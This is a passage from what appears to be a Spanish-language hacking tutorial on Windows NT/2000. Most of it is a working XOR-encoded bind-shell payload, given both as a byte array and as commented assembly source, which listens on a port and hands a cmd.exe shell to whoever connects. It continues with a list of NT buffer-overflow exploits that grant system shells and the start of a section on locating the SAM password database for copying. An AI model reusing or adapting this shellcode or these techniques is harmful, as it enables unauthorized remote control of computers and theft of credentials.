0xaa, 0x59, 0xc9, 0x66, 0x0c, 0x14, 0x9a, 0x99, 0x99, 0x1a,
0x61, 0x99, 0x96, 0x1d, 0xdb, 0x98, 0x99, 0x99, 0x5a, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xaa,
0x59, 0x2d, 0x9d, 0xc9, 0x58, 0x71, 0x9d, 0xc9, 0x66, 0x0c,
0x2f, 0x9a, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0xc9, 0x14, 0x1c,
0xf7, 0x9b, 0x99, 0x99, 0x5e, 0x99, 0x95, 0x99, 0x99, 0x99,
0xc9, 0x14, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,
0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,
0x99, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 0xf7, 0x9b, 0x99, 0x99,
0xc9, 0x14, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,
0x87, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,
0x99, 0x5a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x98, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x04, 0x38, 0x9b, 0x99,
0x99, 0x5e, 0x9a, 0x89, 0x99, 0x99, 0x99, 0xca, 0x14, 0x04,
0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x9a, 0x9d,
0x99, 0x99, 0x12, 0x41, 0x1a, 0x61, 0x99, 0xc1, 0xe5, 0x45,
0x12, 0x5a, 0x5a, 0x89, 0x99, 0x99, 0x99, 0xaa, 0x59, 0xc9,
0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c, 0x69, 0x9a, 0x99, 0x99,
0x1a, 0x61, 0x66, 0xed, 0xdb, 0x09, 0x09, 0x09, 0x09, 0x10,
0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xf3, 0x89, 0x14, 0x04, 0x65,
0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x6e, 0x9a, 0x99,
0x99, 0x1a, 0x61, 0x99, 0xec, 0xba, 0x09, 0x09, 0x09, 0x09,
0xf3, 0x9c, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xc9, 0x66,
0x0c, 0x65, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xec, 0x92,
0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,
0x5a, 0xaa, 0x59, 0x5a, 0x9b, 0x99, 0x99, 0xfa, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x66, 0x0c, 0x42, 0x9a, 0x99, 0x99, 0x5a, 0x14, 0x24, 0xf0,
0x9a, 0x99, 0x99, 0x12, 0x5e, 0xce, 0x71, 0xb6, 0x99, 0x99,
0x99, 0xc6, 0xc9, 0xab, 0x59, 0xaa, 0x50, 0x6e, 0x48, 0x65,
0x6b, 0x37, 0xc1, 0x19, 0xa6, 0x99, 0xed, 0x8e, 0x09, 0x09,
0x09, 0x09, 0xc9, 0xce, 0x12, 0x46, 0x71, 0x84, 0x99, 0x99,
0x99, 0xc6, 0x10, 0x9e, 0xc1, 0xde, 0xde, 0xde, 0xde, 0x72,
0x40, 0xde, 0x19, 0xa6, 0x99, 0xec, 0x53, 0x5a, 0xca, 0x14,
0x04, 0xaf, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x8a, 0xc2, 0x5a,
0xce, 0x14, 0x24, 0xa3, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x66,
0x8e, 0xc6, 0x5a, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa,
0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0,
0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb,
0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda,
0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc,
0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2,
0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99,
0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6,
0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5,
0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc,
0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0x99,
0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6,
0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99,
0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa,
0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb,
0xfc, 0xfa, 0xef, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xea, 0xeb, 0x7f, 0xee, //address of loadlibrarya, it is os
//version depended
0xa8, 0xe9, 0x7f, 0xee, //address of getprocaddress, it is os
//version depended
0x73, 0x75, 0x6e, 0x78, //sunx, it is a decode flag, don't
//modify it
0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x24, //cmd.exe$,
0x00 // you can modify it freely,
};
/***************************************************************************
;***************************************************************************
; Written by sunx
;***************************************************************************
.486
.model flat
locals
.code
shellcodebegin:
mov edi, esp
mov eax, 'xnus'
findnext: inc edi
cmp [edi], eax
jnz findnext
lea ebp, [edi + offset shellcodebegin - offset findnext + 4 ]
lea edi, [ebp + offset main - offset shellcodebegin]
mov esi, edi
mov ah, 99h
cld
xorloop:
lodsb
xor al, ah
stosb
cmp dword ptr [esi], 'xnus'
jnz xorloop
main: lea edi, [ebp + offset cmd - offset shellcodebegin]
cld
xor ecx, ecx
mov cl, 32
mov al, '$'
repnz scasb
mov byte ptr [edi-1], 0
call processapi
call initpbuf
mov [ebp + offset pbuf - offset shellcodebegin], eax
call initpipe
call initsock
mov [ebp + offset accepthand - offset shellcodebegin], eax
call initshell
runloop:
mov eax, [ebp + offset accepthand - offset shellcodebegin]
call getaconnect
mov [ebp + offset sockhand - offset shellcodebegin], eax
call runshell
jmp runloop
;***********************;*****************************;*********************
runshell proc
@@peek: mov eax, [ebp + offset pipeAread - offset shellcodebegin]
call peekdata
cmp eax, 0
jz @@readinput
;readfile()
xor eax, eax
push eax
lea eax, [ebp + offset i - offset shellcodebegin]
push eax
xor eax, eax
mov ah, 4
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset pipeAread - offset shellcodebegin]
push eax
call [ebp + offset readfile - offset shellcodebegin]
cmp eax, 0
jz @@exit
;send()
xor eax, eax
push eax
mov eax, [ebp + offset i - offset shellcodebegin]
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset sockhand - offset shellcodebegin]
push eax
call [ebp + offset send - offset shellcodebegin]
;call [ebp + offset wsagetlasterror - offset shellcodebegin]
cmp eax, 0
jl @@exit
jmp @@peek
@@readinput:
xor eax, eax
push eax
mov ah, 4
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset sockhand - offset shellcodebegin]
push eax
call [ebp + offset recv - offset shellcodebegin]
cmp eax, 0
jl @@exit
xor ebx, ebx
push ebx
lea ebx, [ebp + offset i - offset shellcodebegin]
push ebx
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset pipeBwrite - offset shellcodebegin]
push eax
call [ebp + offset writefile - offset shellcodebegin]
cmp eax, 0
jz @@exit
jmp @@peek
 
@@exit: xor eax, eax
ret
runshell endp
;***************************************************************************
peekdata proc ;call with eax = pipehand, return eax = bytes should be read
xor ebx, ebx
push ebx
lea ebx, [ebp + offset peeki - offset shellcodebegin]
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push eax
call [ebp + offset peeknamedpipe - offset shellcodebegin]
cmp eax, 0
jz @@error
mov eax, [ebp + offset peeki - offset shellcodebegin]
ret
@@error: mov eax, 0
ret
peeki dd 0
peekdata endp
;***************************************************************************
initshell proc
lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
mov dword ptr [eax], 044h
push eax
call [ebp + offset getstartupinfo - offset shellcodebegin]
;build startinfo
mov eax, [ebp + offset pipeAwrite - offset shellcodebegin]
mov [ebp + offset StartupInfo - offset shellcodebegin + 40h], eax
mov [ebp + offset StartupInfo - offset shellcodebegin + 3ch], eax
mov eax, [ebp + offset pipeBread - offset shellcodebegin]
mov [ebp + offset StartupInfo - offset shellcodebegin + 38h], eax
xor eax, eax
mov ax, 0101h
mov [ebp + offset StartupInfo - offset shellcodebegin +2Ch], eax
lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
push eax
push eax
xor eax, eax
push eax
push eax
push eax
inc eax
push eax
dec eax
push eax
push eax
lea eax, [ebp + offset cmd - offset shellcodebegin]
push eax
xor eax, eax
push eax
call [ebp + offset createprocess - offset shellcodebegin]
cmp eax, 0
jz exitshell
ret
StartupInfo db 50h dup(0)
initshell endp
;***************************************************************************
initpbuf proc ;return eax = buf
xor eax, eax
mov ah, 4
push eax
shr eax, 4
push eax
call [ebp + offset globalalloc - offset shellcodebegin]
ret
initpbuf endp
;***************************************************************************
initpipe proc
xor eax, eax
push eax
lea eax, [ebp + offset pipeattr - offset shellcodebegin]
mov dword ptr [eax], 0ch
push eax
lea eax, [ebp + offset pipeAwrite - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeAread - offset shellcodebegin]
push eax
call [ebp + offset createpipe - offset shellcodebegin]
xor eax, eax
push eax
lea eax, [ebp + offset pipeattr - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeBwrite - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeBread - offset shellcodebegin]
push eax
call [ebp + offset createpipe - offset shellcodebegin]
ret
pipeattr label
len dd 0
lpSecDesc dd 0
bInherit dd 1
initpipe endp
;***************************************************************************
 
getaconnect proc ;return eax = sock, call with eax = sock
 
@@next: push eax
lea ebx, [ebp + offset @@accepti - offset shellcodebegin]
mov dword ptr [ebx], 16
push ebx
lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
push ebx
push eax
call [ebp + offset accept - offset shellcodebegin]
mov ebx, eax
cmp eax, 0
pop eax
jl @@next
mov eax, ebx
ret
@@accepti dd 16
getaconnect endp
;***************************************************************************
initsock proc ; return eax = sock
 
;socket()
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call [ebp + offset socket - offset shellcodebegin]
cmp eax , 0ffffffffh
jz @@exit
mov [ebp + offset accepthand - offset shellcodebegin], eax
;bind()
push 10h
lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
push ebx
push eax
call [ebp + offset bind - offset shellcodebegin]
cmp eax , 0
jnz @@exit
 
;listen()
push 5
mov eax, [ebp + offset accepthand - offset shellcodebegin]
push eax
call [ebp + offset listen - offset shellcodebegin]
cmp eax , 0
jnz @@exit
mov eax, [ebp + offset accepthand - offset shellcodebegin]
ret
@@exit: xor eax, eax
ret
sockstruc label
sin_family dw 0002h
sin_port dw 6300h
sin_addr dd 0
sin_zero db 8 dup (0)
initsock endp
;********+******************************************************************
exitshell proc
call [ebp + offset exitprocess - offset shellcodebegin]
ret
exitshell endp
;***************************************************************************
processapi proc
;kenel api
lea edi, [ebp + offset library - offset shellcodebegin]
@@loadlib:
mov eax, edi
push edi
call loadlib
pop edi
@@nextknlapi:
push eax
xor al, al
xor ecx, ecx
not ecx
cld
repnz scasb
pop eax
cmp byte ptr [edi], 0
jz @@nextlib
 
push eax
push edi
mov ebx, edi
call getproc
pop edi
mov [edi], eax
pop eax
inc edi
inc edi
inc edi
inc edi
jmp @@nextknlapi
@@nextlib: inc edi
cmp byte ptr [edi], 0
jnz @@loadlib
@@ret:
ret
processapi endp
;***************************************************************************
loadlib proc ;eax=libraryname
push ebx
lea ebx, [ebp + offset LoadLibrary - offset shellcodebegin]
push eax
call dword ptr [ebx]
pop ebx
ret
loadlib endp
;***************************************************************************
getproc proc ;eax=handle, ebx = procname
push edi
lea edi, [ebp + offset GetProcAddr - offset shellcodebegin]
push ebx
push eax
call dword ptr [edi]
pop edi
ret
getproc endp
;***************************************************************************
databegin label
library label
kernel db "KERNEL32", 0
createpipe db "CreatePipe", 0
getstartupinfo db "GetStartupInfoA", 0
createprocess db "CreateProcessA", 0
closehandle db "CloseHandle", 0
peeknamedpipe db "PeekNamedPipe", 0
globalalloc db "GlobalAlloc", 0
writefile db "WriteFile", 0
readfile db "ReadFile", 0
sleep db "Sleep", 0
exitprocess db "ExitProcess", 0
db 0
wsock32 db "WSOCK32", 0
socket db "socket", 0
bind db "bind", 0
listen db "listen", 0
accept db "accept", 0
send db "send", 0
recv db "recv", 0
;wsagetlasterror db "WSAGetLastError", 0
db 0
db 0
pipeAread dd 0
pipeAwrite dd 0
pipeBread dd 0
pipeBwrite dd 0
i dd 0
pbuf dd 0
accepthand dd 0
sockhand dd 0
LoadLibrary dd 77e67273h
GetProcAddr dd 77e67031h
dd 'xnus'
cmd db "cmd.exe$"
db 0dh, 0ah
dataend label
.data
ends
end shellcodebegin
***************************************************************************/
#endif //WINSHELLCODE_H
<-->
--- Finaliza codigo de shellcode ---
Pues ahi estan... es posible que para cuando se publique este articulo ya
hayan salido mas, pero por lo pronto aqui teneis esto.
 
 
[ 8.2 - BOFS ]
------------
A continuacion incluyo la url de todos los desbordamientos de buffer en
NT publicados hasta ahora:
 
o Programa afectado: IIS
Autor: eEye (BOF descubierto por dark spyrit)
Efectos: Concede una shell de comandos NT con privilegios de sistema.
o Programa afectado: Net Meeting versiones anteriores a la 3.0
Autor: The cult of the dead cow (cDc)
Efectos: Baja unos graficos de la pagina de cDc.
o Programa afectado: NT RAS
Autor: Mnemonix
Efectos: A los 8 segundos de ser ejecutado mas o menos te abre una shell
de comandos de NT con privilegios de sistema.
o Programa afectado: Winhlp32
Autor: Mnemonix
Efectos: Ejecuta un archivo batch con privilegios de sistema.
 
Esto es todo sobre los overflows bajo W2K/WNT.
 
 
-=-
 
 
[ 9 - Sam ]
---------
El fichero SAM, es la base de datos de cuentas de seguridad local. Es
el equivalente el archivo passwd en u*x. Se usa para verificar la
autenticidad de los inicios de sesion de los usuario en el sistema. Dicho
archivo se encuentra en %systemroot%system32configsam. Ahi esta el
fichero sam original, y el que usa NT. Como es un archivo que NT esta usando
indefinidamente... no lo podremos copiar, ni editar, ni renombrar, ni hacer
nada. En cambio hay una copia de seguridad del fichero SAM que se encuentra
en %systemroot%repairsam.
Profundicemos un poco mas en este archivo.
 

 
  Total: 42952 visitantes (67238 clics a subpáginas) ¡Aqui en esta página!  
 
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis